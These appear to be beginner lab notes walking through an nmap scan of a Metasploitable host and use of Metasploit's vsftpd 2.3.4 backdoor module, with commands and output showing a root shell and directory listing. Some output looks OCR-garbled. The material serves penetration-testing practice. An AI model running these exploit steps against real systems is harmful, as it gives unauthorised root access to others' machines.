

Metasploit

```
(venky@kali)-[~]$ nmap -sV 192.168.137.76
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 10:46 IST
Nmap scan report for 192.168.137.76
Host is up (0.044s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 4.7p1 Debian Bubuntul (protocol 2.0)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp    Postfix smtpd
53/tcp    open  domain   ISC BIND 9.4.2
80/tcp    open  http    Apache httpd 2.2.8 ((Ubuntu) DAV/2)
110/tcp   open  rpopd   2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?   Cisco/NetApp loginid
514/tcp   open  login?   GNU Classpath grmiregistry
1099/tcp  open  java-rmi Java RMI
1524/tcp  open  bindshell Metasploitable root shell
2049/tcp  open  nfs     2-4 (RPC #100003)
2121/tcp  open  ftp     ProFTPD 1.3.1
3306/tcp  open  mysql   MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc     VNC (protocol 3.3)
6000/tcp  open  X11    (access denied)
6667/tcp  open  irc     UnrealIRCd (Admin email admin@Metasploitable.LAN)
8009/tcp  open  http    Apache Jserv (Protocol V1.3)
8180/tcp  open  http    Apache Tomcat/Coyote JSP Engine 1.1
Service Info: Host: metasploitable.localdomain, OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.51 seconds

(venky@kali)-[~]$ msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session
IIIIII dT0_dTD
II 4' v 'B
II 6. .P
II 'T. .P
II 'T. P
IIIVV
```

Copy the ip address of the any vulnerable server using metasploit and using map to scan the ports (**nmap -sV 192.168.137.76**)

```
(venky@kali)-[~]$ msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session
IIIIII dT0_dTD
II 4' v 'B
II 6. .P
II 'T. .P
II 'T. P
IIIVV

I love shells --egypt

      =[ metasploit v6.4.9-dev
+ -- =[ 2420 exploits - 1248 auxiliary - 423 post      ]
+ -- =[ 1468 payloads - 47 encoders - 11 nops      ]
+ -- =[ 9 evasion      ]

Metasploit Documentation: https://docs.metasploit.com

seamSF6 > search vsftpd
Matching Modules
_____
# Name          Disclosure Date Rank Check Description
0 auxiliary/dos/ftp/vsftpd 232 2011-02-03 normal Yes  VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No   VSFTPD V2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name  Current Setting Required Description
GHOST           no        The local client address
```

after finding the **ftp** server open the **msfconsole**
And search for the **vsftpd**(**search vsftpd**)

The screenshot shows a terminal window on a Kali Linux desktop environment. The terminal displays the following information:

- Exploit configuration:**

Name	Current Setting	Required	Description
CHOST	no		The local client address
SPORT	no		The local client port
Proxies	no		An proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	yes		The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)
- Exploit target:**

Id	Name
0	Automatic
- Command history:**

```
msf6 exploit(unix/vsftpd_234_backdoor) > set RHOSTS 192.168.137.76
RHOSTS => 192.168.137.76
msf6 exploit(unix/vsftpd_234_backdoor) > set CHOST 192.168.168.128
CHOST => 192.168.168.128
msf6 exploit(unix/vsftpd_234_backdoor) > exploit
[*] 192.168.137.76:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.137.76:21 - USER: 331 Please specify the password.
[*] 192.168.137.76:21 - Backdoor service has been spawned, handling ...
[*] 192.168.137.76:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.168.128:0 → 192.168.137.76:6200) at 2024-06-13 10:50:38 +0530
```
- File listing:**

```
pwd
/
ls
bin
boot
cdrom
dev
etc
home
initrd
```

Use the **excellent or great(NAME)** rank for better purpose

set RHOST of the web ip address

set CHOST of the kali linux ip (using u r using to perform metasploit)

Then pwd to open the shell

Then we will the files listed in the ip we opens